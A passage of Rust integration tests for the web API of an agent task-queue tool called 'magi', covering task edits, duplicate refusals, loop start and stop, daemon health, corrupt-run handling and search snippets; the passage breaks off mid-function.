10090 assert_eq!(reloaded.title, "new title");
10091 assert_eq!(reloaded.instruction, "new instruction");
10092 }
10093
10094 #[tokio::test]
10095 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10096 let tmp = TempDir::new().expect("tempdir");
10099 let repo = tmp.path().join("repo");
10100 std::fs::create_dir_all(&repo).expect("repo dir");
10101 let judge = MOCK_AGENT_TOML.replace(
10102 "printf ok",
10103 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10104 );
10105 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10106 let f = Fixture::with_repo(repo.clone()).await;
10107 let queue = f.queue();
10108 let mut owner = Task::new(
10109 "owner".to_owned(),
10110 "review it".to_owned(),
10111 repo.clone(),
10112 Source::Human,
10113 );
10114 owner.review_branch = Some("magi/ab12/A".to_owned());
10115 queue.put(&mut owner).expect("file the owner");
10116 let mut task = Task::new(
10117 "draft".to_owned(),
10118 "old".to_owned(),
10119 repo.clone(),
10120 Source::Human,
10121 );
10122 queue.put(&mut task).expect("file the draft");
10123 let url = format!("/api/queue/{}/edit", task.id);
10124
10125 let refused = f
10126 .post(
10127 &url,
10128 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10129 )
10130 .await;
10131 assert_eq!(refused.status, 409, "{}", refused.body);
10132 let msg = refused.json()["error"]
10133 .as_str()
10134 .unwrap_or_default()
10135 .to_owned();
10136 assert!(
10137 msg.contains("magi/ab12/A") && msg.contains("force"),
10138 "{msg}"
10139 );
10140 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10141
10142 let forced = f
10143 .post(
10144 &url,
10145 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10146 )
10147 .await;
10148 assert_eq!(forced.status, 200, "{}", forced.body);
10149 }
10150
10151 #[tokio::test]
10152 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10153 let f = Fixture::start().await;
10154 let queue = f.queue();
10155 let mut task = Task::new(
10156 "in flight".to_owned(),
10157 "do not touch".to_owned(),
10158 PathBuf::from("/repo/magi"),
10159 Source::Human,
10160 );
10161 task.start("20260902-140502-bbbb".to_owned());
10162 queue.put(&mut task).expect("file the task");
10163
10164 let res = f
10165 .post(
10166 &format!("/api/queue/{}/edit", task.id),
10167 Some(r#"{"title":"x","instruction":"y"}"#),
10168 )
10169 .await;
10170 assert_eq!(res.status, 400, "{}", res.body);
10171 assert!(
10172 res.json()["error"]
10173 .as_str()
10174 .is_some_and(|e| e.contains("running")),
10175 "{}",
10176 res.body
10177 );
10178 assert_eq!(
10179 queue.get(&task.id).expect("reload").instruction,
10180 "do not touch",
10181 "the refused edit must not change the file"
10182 );
10183 }
10184
10185 #[tokio::test]
10186 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10187 let f = Fixture::start().await;
10188 let queue = f.queue();
10189 let mut task = Task::new(
10190 "busy".to_owned(),
10191 "Running right now".to_owned(),
10192 PathBuf::from("/repo/magi"),
10193 Source::Human,
10194 );
10195 queue.put(&mut task).expect("file the task");
10196 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10197
10198 let priority = f
10199 .post(
10200 &format!("/api/queue/{}/priority", task.id),
10201 Some(r#"{"priority":9}"#),
10202 )
10203 .await;
10204 assert_eq!(priority.status, 409, "{}", priority.body);
10205
10206 let edit = f
10207 .post(
10208 &format!("/api/queue/{}/edit", task.id),
10209 Some(r#"{"title":"x","instruction":"y"}"#),
10210 )
10211 .await;
10212 assert_eq!(edit.status, 409, "{}", edit.body);
10213 }
10214
10215 #[tokio::test]
10216 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10217 let f = Fixture::start().await;
10218 let queue = f.queue();
10219 let mut task = Task::new(
10220 "shipped by hand".to_owned(),
10221 "merged outside the loop".to_owned(),
10222 PathBuf::from("/repo/magi"),
10223 Source::Agent {
10224 run: "20260101-000000-b455".to_owned(),
10225 node: "implement".to_owned(),
10226 },
10227 );
10228 task.runs.push("20260101-000000-b455".to_owned());
10229 task.runs.push("20260101-000000-9af4".to_owned());
10230 queue.put(&mut task).expect("file the task");
10231 let created_at = task.created_at;
10232
10233 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10234 assert_eq!(done.status, 200, "{}", done.body);
10235 assert_eq!(done.json()["status_str"], "done");
10236
10237 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10238 assert_eq!(
10239 reloaded.runs,
10240 ["20260101-000000-b455", "20260101-000000-9af4"]
10241 );
10242 assert_eq!(
10243 reloaded.source,
10244 Source::Agent {
10245 run: "20260101-000000-b455".to_owned(),
10246 node: "implement".to_owned(),
10247 }
10248 );
10249 assert_eq!(reloaded.created_at, created_at);
10250 }
10251
10252 #[tokio::test]
10253 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10254 let f = Fixture::start().await;
10259 let queue = f.queue();
10260 let mut task = Task::new(
10261 "landed while held".to_owned(),
10262 "x".to_owned(),
10263 PathBuf::from("/repo/magi"),
10264 Source::Human,
10265 );
10266 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10267 queue.put(&mut task).expect("file the held task");
10268
10269 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10270 assert_eq!(done.status, 200, "{}", done.body);
10271 assert_eq!(done.json()["status_str"], "done");
10272 assert!(
10273 done.json()["hold_reason"].is_null(),
10274 "a done task cannot still be waiting on something: {}",
10275 done.body
10276 );
10277 }
10278
10279 #[tokio::test]
10280 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10281 let f = Fixture::start().await;
10286 let queue = f.queue();
10287 let runs = f.runs();
10288 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10289 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10293
10294 let mut task = Task::new(
10295 "landed by hand".to_owned(),
10296 "x".to_owned(),
10297 PathBuf::from("/repo/magi"),
10298 Source::Human,
10299 );
10300 task.runs.push("20260101-000000-doa1".to_owned());
10301 task.runs.push("20260101-000000-doa2".to_owned());
10302 queue.put(&mut task).expect("file the task");
10303
10304 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10305 assert_eq!(done.status, 200, "{}", done.body);
10306
10307 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10308 .expect("run still on disk under this fixture's own home");
10309 assert_eq!(
10310 reloaded_run.status,
10311 RunStatus::Superseded,
10312 "closing the task by hand must relabel the earlier blocked attempt exactly \
10313 like the loop's own settle path does"
10314 );
10315 }
10316
10317 #[tokio::test]
10318 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10319 let f = Fixture::start().await;
10324 let queue = f.queue();
10325 let runs = f.runs();
10326 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10327 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10328
10329 let mut task = Task::new(
10330 "closed with nothing actually landed".to_owned(),
10331 "x".to_owned(),
10332 PathBuf::from("/repo/magi"),
10333 Source::Human,
10334 );
10335 task.runs.push("20260101-000000-dob1".to_owned());
10336 task.runs.push("20260101-000000-dob2".to_owned());
10337 queue.put(&mut task).expect("file the task");
10338
10339 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10340 assert_eq!(done.status, 200, "{}", done.body);
10341
10342 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10343 .expect("run still on disk under this fixture's own home");
10344 assert_eq!(
10345 reloaded_run.status,
10346 RunStatus::Blocked,
10347 "the last recorded attempt never landed, so the earlier one must not be \
10348 relabelled as superseded by it"
10349 );
10350 }
10351
10352 #[tokio::test]
10353 async fn unknown_ids_are_json_not_found_on_both_stores() {
10354 let f = Fixture::start().await;
10355
10356 let run = f.get("/api/runs/nosuchrun").await;
10357 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10358
10359 assert_eq!(run.status, 404);
10360 assert_eq!(task.status, 404);
10361 assert!(
10362 run.json()["error"]
10363 .as_str()
10364 .is_some_and(|e| e.contains("run")),
10365 "the error names what was not found: {}",
10366 run.body
10367 );
10368 assert!(
10369 task.json()["error"]
10370 .as_str()
10371 .is_some_and(|e| e.contains("task")),
10372 "the error names what was not found: {}",
10373 task.body
10374 );
10375 }
10376
10377 #[tokio::test]
10378 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10379 let f = Fixture::start().await;
10380
10381 let missing = f.get("/api/health").await.json();
10382 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10383
10384 write_daemon(
10385 f.home.path(),
10386 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10387 );
10388 let stale = f.get("/api/health").await.json();
10389 assert_eq!(
10390 stale["daemon"]["running"], false,
10391 "a minute without a heartbeat is a dead daemon, not a busy one"
10392 );
10393 assert!(
10394 stale["daemon"]["stale_for_secs"]
10395 .as_i64()
10396 .is_some_and(|s| s >= 55),
10397 "staleness is reported so the UI can say how long: {stale}"
10398 );
10399
10400 write_daemon(f.home.path(), Timestamp::now());
10401 let fresh = f.get("/api/health").await.json();
10402 assert_eq!(fresh["daemon"]["running"], true);
10403 assert_eq!(fresh["daemon"]["idle"], false);
10404 assert_eq!(fresh["daemon"]["pid"], 4242);
10405 assert_eq!(fresh["daemon"]["completed"], 7);
10406 assert_eq!(
10407 fresh["daemon"]["current"][0]["task"],
10408 "20260902-140501-aaaa"
10409 );
10410 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10411 }
10412
10413 #[tokio::test]
10414 async fn the_loop_is_not_running_until_something_starts_it() {
10415 let f = Fixture::start().await;
10416
10417 let view = f.get("/api/loop").await.json();
10418 assert_eq!(view["running"], false);
10419 assert_eq!(
10420 view["owned"], false,
10421 "nobody owns a loop that does not exist: {view}"
10422 );
10423 assert_eq!(view["stopping"], false);
10424 assert_eq!(view["last_error"], Value::Null);
10425 assert_eq!(view["daemon"]["running"], false);
10426 assert_eq!(
10427 view["repo"], "/repo/magi",
10428 "the repository a start would use, named before it is started"
10429 );
10430 }
10431
10432 #[tokio::test]
10433 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10434 let f = Fixture::start().await;
10435
10436 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10437 assert_eq!(res.status, 200, "{}", res.body);
10438 let view = res.json();
10439 assert_eq!(view["running"], true);
10440 assert_eq!(
10441 view["owned"], true,
10442 "the loop the UI started is the UI's own to stop: {view}"
10443 );
10444 assert_eq!(
10445 view["merge"],
10446 Value::Null,
10447 "no override was given, so each repository's own config decides"
10448 );
10449
10450 let health = f.get("/api/health").await.json();
10454 assert_eq!(health["loop"]["running"], true, "{health}");
10455 assert_eq!(health["loop"]["owned"], true, "{health}");
10456
10457 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10458 }
10459
10460 #[tokio::test]
10461 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10462 let f = Fixture::start().await;
10463 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10464 assert_eq!(first.status, 200, "{}", first.body);
10465
10466 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10467 assert_eq!(
10468 again.status, 409,
10469 "two loops on one queue race for the same claims: {}",
10470 again.body
10471 );
10472 assert!(
10473 again.json()["error"]
10474 .as_str()
10475 .is_some_and(|e| e.contains("already running the loop")),
10476 "the refusal has to say why: {}",
10477 again.body
10478 );
10479 assert_eq!(
10480 f.get("/api/loop").await.json()["running"],
10481 true,
10482 "and the loop that was already running is untouched by it"
10483 );
10484
10485 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10486 }
10487
10488 #[tokio::test]
10489 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10490 let f = Fixture::start().await;
10491 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10492
10493 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10494 assert_eq!(
10495 res.status, 200,
10496 "the answer must not wait for the loop: a run in flight is tens of \
10497 minutes and the operator is holding a phone: {}",
10498 res.body
10499 );
10500
10501 let view = settled(&f, |v| v["running"] == false).await;
10502 assert_eq!(view["owned"], false);
10503 assert_eq!(
10504 view["stopping"], false,
10505 "a loop that has stopped is not still stopping: {view}"
10506 );
10507 assert_eq!(
10508 view["last_error"],
10509 Value::Null,
10510 "a loop that was asked to stop did not fail: {view}"
10511 );
10512
10513 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10516 assert_eq!(twice.status, 200, "{}", twice.body);
10517 }
10518
10519 #[tokio::test]
10520 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10521 let f = Fixture::start().await;
10522 write_daemon(f.home.path(), Timestamp::now());
10525
10526 let view = f.get("/api/loop").await.json();
10527 assert_eq!(view["running"], false, "not in this process: {view}");
10528 assert_eq!(view["owned"], false, "and not this process's to control");
10529 assert_eq!(
10530 view["daemon"]["running"], true,
10531 "but a loop is alive somewhere, which is what the UI must say"
10532 );
10533 assert_eq!(view["daemon"]["pid"], 4242);
10534
10535 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10536 let res = f.post("/api/loop", Some(body)).await;
10537 assert_eq!(
10538 res.status, 409,
10539 "neither button may pretend to work on someone else's loop: {}",
10540 res.body
10541 );
10542 assert!(
10543 res.json()["error"]
10544 .as_str()
10545 .is_some_and(|e| e.contains("4242")),
10546 "the refusal has to name the process the operator must go to: {}",
10547 res.body
10548 );
10549 }
10550 assert_eq!(
10551 f.get("/api/loop").await.json()["running"],
10552 false,
10553 "and the refusal started nothing"
10554 );
10555 }
10556
10557 #[tokio::test]
10558 async fn a_stale_status_file_is_not_a_foreign_owner() {
10559 let f = Fixture::start().await;
10560 write_daemon(
10561 f.home.path(),
10562 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10563 );
10564
10565 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10566 assert_eq!(
10567 res.status, 200,
10568 "a daemon killed a minute ago must not lock the loop out of its \
10569 own home for good: {}",
10570 res.body
10571 );
10572 assert_eq!(res.json()["running"], true);
10573
10574 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10575 }
10576
10577 #[tokio::test]
10578 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10579 let f = Fixture::start().await;
10580 let before = f.get("/api/health").await.json()["loop_rev"]
10581 .as_u64()
10582 .expect("a loop revision");
10583
10584 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10585
10586 let after = f.get("/api/health").await.json()["loop_rev"]
10587 .as_u64()
10588 .expect("a loop revision");
10589 assert!(
10590 after > before,
10591 "the loop is in-process state, so this counter is the only thing \
10592 that tells a second device the first one started it: {before} -> \
10593 {after}"
10594 );
10595
10596 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10597 }
10598
10599 #[tokio::test]
10600 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10601 let f = Fixture::with_loop(launch_broken).await;
10602
10603 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10604 assert_eq!(
10605 res.status, 200,
10606 "starting it is not the failure: {}",
10607 res.body
10608 );
10609
10610 let view = settled(&f, |v| v["last_error"].is_string()).await;
10611 assert_eq!(
10612 view["running"], false,
10613 "a loop that died must not read as running, or the operator has \
10614 nothing to press: {view}"
10615 );
10616 assert_eq!(view["owned"], false);
10617 assert!(
10618 view["last_error"]
10619 .as_str()
10620 .is_some_and(|e| e.contains("read-only file system")),
10621 "the phone is where a loop that died at 3am is visible: {view}"
10622 );
10623
10624 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10627 assert_eq!(again.status, 200, "{}", again.body);
10628 assert_eq!(
10629 again.json()["last_error"],
10630 Value::Null,
10631 "a fresh start does not keep showing why the last one died"
10632 );
10633 }
10634
10635 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10647 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10648 let home = TempDir::new().expect("temp home");
10649 let runs = home.path().join("runs");
10650 std::fs::create_dir_all(&runs).expect("runs dir");
10651 let ui = Ui::new(
10652 Queue::at(home.path().join("queue")),
10653 Questions::at(home.path().join("questions")),
10654 Talks::at(home.path().join("talks")),
10655 runs,
10656 home.path().to_path_buf(),
10657 PathBuf::from("/repo/magi"),
10658 )
10659 .with_worktrees_root(home.path().join("wt"))
10660 .with_launch(launch_knocking_on_the_way_out);
10661 let looping = ui.looping();
10662 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10663 .await
10664 .expect("bind loopback");
10665 let addr = listener.local_addr().expect("local addr");
10666 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10667 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10668
10669 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10670 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10671
10672 let bound = std::sync::Mutex::new(None);
10687 hand_over(home.path(), &looping, served, |_| {
10688 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10689 let attempt = loop {
10690 match std::net::TcpListener::bind(addr) {
10691 Ok(l) => {
10692 drop(l);
10693 break Ok(());
10694 }
10695 Err(e)
10696 if e.kind() == std::io::ErrorKind::AddrInUse
10697 && std::time::Instant::now() < deadline =>
10698 {
10699 std::thread::sleep(std::time::Duration::from_millis(10));
10700 }
10701 Err(e) => break Err(e.to_string()),
10702 }
10703 };
10704 *bound.lock().expect("bound") = Some(attempt);
10705 Ok(1)
10706 })
10707 .await
10708 .expect("hand over");
10709
10710 assert_eq!(
10711 *PARK_HEARD.lock().expect("park heard"),
10712 Some(200),
10713 "the deck must answer while the loop is parking"
10714 );
10715 let attempt = bound
10716 .lock()
10717 .expect("bound")
10718 .take()
10719 .expect("the successor was started");
10720 assert!(
10721 attempt.is_ok(),
10722 "and the address must be free by the time it is: {attempt:?}"
10723 );
10724 }
10725
10726 #[tokio::test]
10727 async fn a_newer_daemon_status_file_still_renders() {
10728 let f = Fixture::start().await;
10729 std::fs::write(
10732 f.home.path().join("daemon.json"),
10733 serde_json::json!({
10734 "schema": 2,
10735 "updated_at": Timestamp::now().to_string(),
10736 "idle": true,
10737 "surprise": { "nested": [1, 2, 3] },
10738 })
10739 .to_string(),
10740 )
10741 .expect("write daemon.json");
10742
10743 let health = f.get("/api/health").await;
10744
10745 assert_eq!(health.status, 200);
10746 assert_eq!(health.json()["daemon"]["running"], true);
10747 }
10748
10749 #[tokio::test]
10750 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10751 let f = Fixture::start().await;
10752 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10753 let broken = f.runs().join("20260902-140502-bad");
10754 std::fs::create_dir_all(&broken).expect("run dir");
10755 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10756
10757 let list = f.get("/api/runs").await;
10758 let detail = f.get("/api/runs/20260902-140502-bad").await;
10759
10760 assert_eq!(list.status, 200);
10761 let listed = list.json();
10762 let ids: Vec<&str> = listed
10763 .as_array()
10764 .expect("an array")
10765 .iter()
10766 .map(|r| r["id"].as_str().expect("an id"))
10767 .collect();
10768 assert_eq!(
10769 ids,
10770 vec!["20260902-140501-good"],
10771 "one unreadable run must not cost the operator the whole history"
10772 );
10773 assert_eq!(detail.status, 500);
10774 assert!(
10775 detail.json()["error"]
10776 .as_str()
10777 .is_some_and(|e| e.contains("run.json")),
10778 "the failure names the file to look at: {}",
10779 detail.body
10780 );
10781 let health = f.get("/api/health").await;
10785 assert_eq!(health.json()["runs_unreadable"], 1);
10786 }
10787
10788 #[tokio::test]
10790 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10791 let f = Fixture::start().await;
10792 let runs = f.runs();
10793 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10794 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10795 let path = runs.join("20260902-140502-bbbb").join("run.json");
10798 let mut v: serde_json::Value =
10799 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10800 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10801 std::fs::write(&path, v.to_string()).unwrap();
10802 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10803 std::fs::write(
10804 runs.join("20260902-140503-cccc").join("run.json"),
10805 "{ not json",
10806 )
10807 .unwrap();
10808
10809 let res = f.get("/api/search?scope=runs&q=quokka").await;
10810 assert_eq!(res.status, 200, "{}", res.body);
10811 let v = res.json();
10812 assert_eq!(v["total"], 1, "{v}");
10813 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10814 assert_eq!(v["hits"][0]["field"], "text");
10815 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10816 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10817 assert!(
10818 parts
10819 .iter()
10820 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10821 "{v}"
10822 );
10823 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10824 assert_eq!(
10825 flat, "The Quokka leaks across threads",
10826 "whitespace is collapsed"
10827 );
10828
10829 let both = f
10831 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10832 .await
10833 .json();
10834 assert_eq!(both["total"], 1, "{both}");
10835 let neither = f
10836 .get("/api/search?scope=runs&q=quokka%20zebra")
10837 .await
10838 .json();
10839 assert_eq!(neither["total"], 0, "{neither}");
10840 let stmt = f
10842 .get("/api/search?scope=runs&q=mobile%20first")
10843 .await
10844 .json();
10845 assert_eq!(stmt["total"], 2, "{stmt}");
10846 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10847 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10848 }
10849
10850 #[test]
10851 fn snippet_ignores_terms_longer_than_the_field() {
10852 let terms = ["ok".to_owned(), "elephant".to_owned()];
10853 let parts = snippet_of("ok", &terms);
10854 assert_eq!(
10855 parts,
10856 vec![SnippetPart {
10857 text: "ok".to_owned(),
10858 hit: true
10859 }]
10860 );
10861 }
10862
10863 #[test]
10864 fn snippet_marks_matches_longer_than_the_window() {
10865 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10866 let hit_len = |parts: &[SnippetPart]| -> usize {
10867 parts
10868 .iter()
10869 .filter(|p| p.hit)
10870 .map(|p| p.text.chars().count())
10871 .sum()
10872 };
10873 let total =
10874 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10875
10876 let long = "a".repeat(120);
10877 let parts = snippet_of(&long, std::slice::from_ref(&long));
10878 assert!(hit_len(&parts) > 0, "{parts:?}");
10879 assert!(total(&parts) <= cap);
10880
10881 let ja = "あ".repeat(130);
10882 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10883 assert!(hit_len(&parts) > 0, "{parts:?}");
10884 assert!(total(&parts) <= cap);
10885
10886 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10888 let term = format!("ab{}", "c".repeat(100));
10889 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10890 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10891 assert!(total(&parts) <= cap);
10892
10893 let text = format!("{}z", "a".repeat(119));
10895 let parts = snippet_of(&text, &["a".repeat(120)]);
10896 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10897 }
10898
10899 #[tokio::test]
10900 async fn search_caps_hits_and_snippet_length() {
10901 let f = Fixture::start().await;
10902 let runs = f.runs();
10903 for n in 0..(SEARCH_MAX_HITS + 5) {
10904 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10905 }
10906 let v = f.get("/api/search?scope=runs&q=web").await.json();
10907 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10908 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10909 assert_eq!(v["truncated"], true);
10910 assert!(
10912 v["hits"]
10913 .as_array()
10914 .unwrap()
10915 .iter()
10916 .all(|h| h["run"]["status"] == "merged")
10917 );
10918
10919 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10920 let parts = snippet_of(&long, &["needle".to_owned()]);
10921 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10922 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10923 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10924 }
10925
10926 #[tokio::test]
10927 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10928 let f = Fixture::start().await;
10929 let queue = f.queue();
10930 let mut t = Task::new(
10931 "short title".to_owned(),
10932 "line one\nthe hidden Armadillo detail".to_owned(),
10933 PathBuf::from("/repo/magi"),
10934 Source::Agent {
10935 run: "r1".to_owned(),
10936 node: "chat".to_owned(),
10937 },
10938 );
10939 t.last_error = Some("disk full on /tmp".to_owned());
10940 queue.put(&mut t).expect("file the task");
10941
10942 for (q, want) in [
10943 ("armadillo", 1),
10944 ("disk%20FULL", 1),
10945 ("chat", 1),
10946 ("queued", 1),
10947 ("short%20nothing", 0),
10948 ] {
10949 let v = f
10950 .get(&format!("/api/search?scope=tasks&q={q}"))
10951 .await
10952 .json();
10953 assert_eq!(v["total"], want, "{q}: {v}");
10954 }
10955 for bad in [
10956 "/api/search?scope=tasks&q=",
10957 "/api/search?scope=tasks&q=%20",
10958 "/api/search?scope=chats&q=",
10959 "/api/search?scope=chats&q=%20",
10960 "/api/search?scope=nope&q=a",
10961 "/api/search?q=a",
10962 ] {
10963 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10964 }
10965 }
10966
10967 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10969 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10970 .expect("seat value");
10971 let turns: Vec<serde_json::Value> = turns
10972 .iter()
10973 .map(|(who, body)| {
10974 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10975 })
10976 .collect();
10977 let doc = serde_json::json!({
10978 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10979 "status": status, "turns": turns,
10980 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10981 "seat": seat,
10982 });
10983 let dir = f.home.path().join("talks");
10984 std::fs::create_dir_all(&dir).expect("talks dir");
10985 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10986 }
10987
10988 #[tokio::test]
10989 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10990 let f = Fixture::start().await;
10991 write_talk(
10992 &f,
10993 "20260901-000001-aaaa",
10994 "open",
10995 &[
10996 (
10997 "operator",
10998 "\n Why does the Pangolin cache expire?\nsecond line",
10999 ),
11000 ("agent", "Because the TTL is thirty seconds."),
11001 ],
11002 );
11003 write_talk(
11004 &f,
11005 "20260901-000002-bbbb",
11006 "closed",
11007 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11008 );
11009 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11010
11011 let search = |q: &'static str| {
11012 let f = &f;
11013 async move {
11014 f.get(&format!("/api/search?scope=chats&q={q}"))
11015 .await
11016 .json()
11017 }
11018 };
11019
11020 let v = search("PANGOLIN").await;
11021 assert_eq!(v["scope"], "chats");
11022 assert_eq!(v["total"], 1, "{v}");
11023 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11024 assert_eq!(v["hits"][0]["field"], "title");
11025 assert_eq!(v["unreadable"], 1, "{v}");
11026 let marked: Vec<&str> = v["hits"][0]["snippet"]
11027 .as_array()
11028 .unwrap()
11029 .iter()
11030 .filter(|p| p["hit"] == true)
11031 .map(|p| p["text"].as_str().unwrap())
11032 .collect();
11033 assert_eq!(marked, ["Pangolin"]);
11034
11035 let v = search("zebra").await;
11037 assert_eq!(v["total"], 1, "{v}");
11038 assert_eq!(v["hits"][0]["field"], "agent");
11039 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11041 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11042 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11044 assert_eq!(search(q).await["total"], 0, "{q}");
11045 }
11046 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11048 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11050
11051 let v = f.get("/api/search?scope=nope&q=a").await;
11052 assert_eq!(v.status, 400);
11053 assert!(
11054 v.body.contains("scope must be runs, tasks or chats"),
11055 "{}",
11056 v.body
11057 );
11058 }
11059
11060 #[test]
11061 fn a_question_card_links_a_task_id_to_the_task_page() {
11062 let start = APP_JS
11063 .find("function updateAskCard(")
11064 .expect("updateAskCard exists");
11065 let body = &APP_JS[start..];
11066 let body = &body[..body.find("\n}\n").expect("function end")];
11067 assert!(body.contains("question.run_is_task"));
11068 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11069 assert!(body.contains("`#/runs/${question.run}`"));
11070 assert!(body.contains("\"task\" : \"run\""));
11071 }
11072
11073 #[test]
11074 fn stats_bars_share_one_id_keyed_plan() {
11075 let start = APP_JS
11076 .find("function statsBarRows(")
11077 .expect("statsBarRows exists");
11078 let body = &APP_JS[start..];
11079 let body = &body[..body.find("\n}\n").expect("function end")];
11080 assert!(body.contains("statsBarPlan(rows)"));
11081 assert!(body.contains("statsAgentTone(row.agent)"));
11082 assert!(!body.contains("candTone(i)"));
11083 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11084 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
